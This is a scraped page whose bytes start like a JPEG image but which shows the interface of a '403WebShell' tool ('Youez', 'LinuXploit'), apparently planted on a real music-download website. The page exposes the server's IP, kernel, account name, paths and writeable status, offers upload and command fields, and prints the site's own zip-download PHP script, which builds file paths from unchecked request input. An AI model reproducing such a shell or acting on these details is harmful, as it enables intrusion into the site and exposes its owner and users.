����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.133.155.48
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/malawisounds.com/album-zip.php
<?php
include 'connect.php';
if(isset($_GET['title'],$_GET['name']))
{
	$title=mysqli_real_escape_string($conn,htmlentities(str_replace('-',' ',$_GET['title'])));
	$artist=mysqli_real_escape_string($conn,htmlentities(str_replace('-',' ',$_GET['name'])));	
	if(!empty($title) && !empty($artist))
	{
		$query1="SELECT * FROM `ulbum_music` WHERE `title`='$title' AND `artist`='$artist'";
		$query2="SELECT `image`,`genre`,`type`,`mode`,`price` FROM `ulbum` WHERE `title`='$title' AND `artist`='$artist'";
		if($query_run1=mysqli_query($conn,$query1))
		{
			if($query_run2=mysqli_query($conn,$query2))
			{
				list($image,$genre,$type,$mode,$price)=mysqli_fetch_array($query_run2);
				$artisturl=str_replace(' ','-',strtolower($artist));
				$titleurl=str_replace(' ','-',strtolower($title));
			}
			else
			{
				die(mysqli_error($conn));
			}
		}
		else
		{
			die(mysqli_error($conn));
		}
	}
	else
	{
		?>
		<script type="text/javascript">
			alert('Incomplete')
		</script>
		<?php
	}
}
//creating counter and initializing to 0
$count=1;

//name of the zip file
$zipname='./zipped-albums/'.$title.'.zip';
$zipname=str_replace(' ', '-', $zipname);

if(file_exists($zipname)){
    header("location:$zipname");
    // echo "<a href=\"$zipname\" download></a>";

}else{
    //accessing ZipArchive class
    $zip= new ZipArchive;
    //opening the zip file i.e album.zip
    $zip->open($zipname, ZipArchive::CREATE);

    while($row=mysqli_fetch_array($query_run1))
    {
        $id=$row['id'];
        $downloads=$row['downloads'];
        $streamed=$row['listened'];
        $size=$row['size'];
        $album_path='album_songs/'.$row['music'];
        $music_title=$row['music_title'];
        $music_titleurl=str_replace(' ', '-', $row['music_title']);

        //adding each file path to album.zip
        $zip->addFile($album_path,$count.' '.$row['music_title'].'.mp3');

        $count++;
    }
    //adding an image to album.zip
    $zip->addFile('album_images/'.$image,'Cover.jpg');
    //adding credits to album.zip
    $zip->addFile('zipped-albums/credits.txt','credits.txt');
    //closing album.zip
    $zip->close();

    //force download
    header("location:$zipname");
}
    
?>

Youez - 2016 - github.com/yon3zu
LinuXploit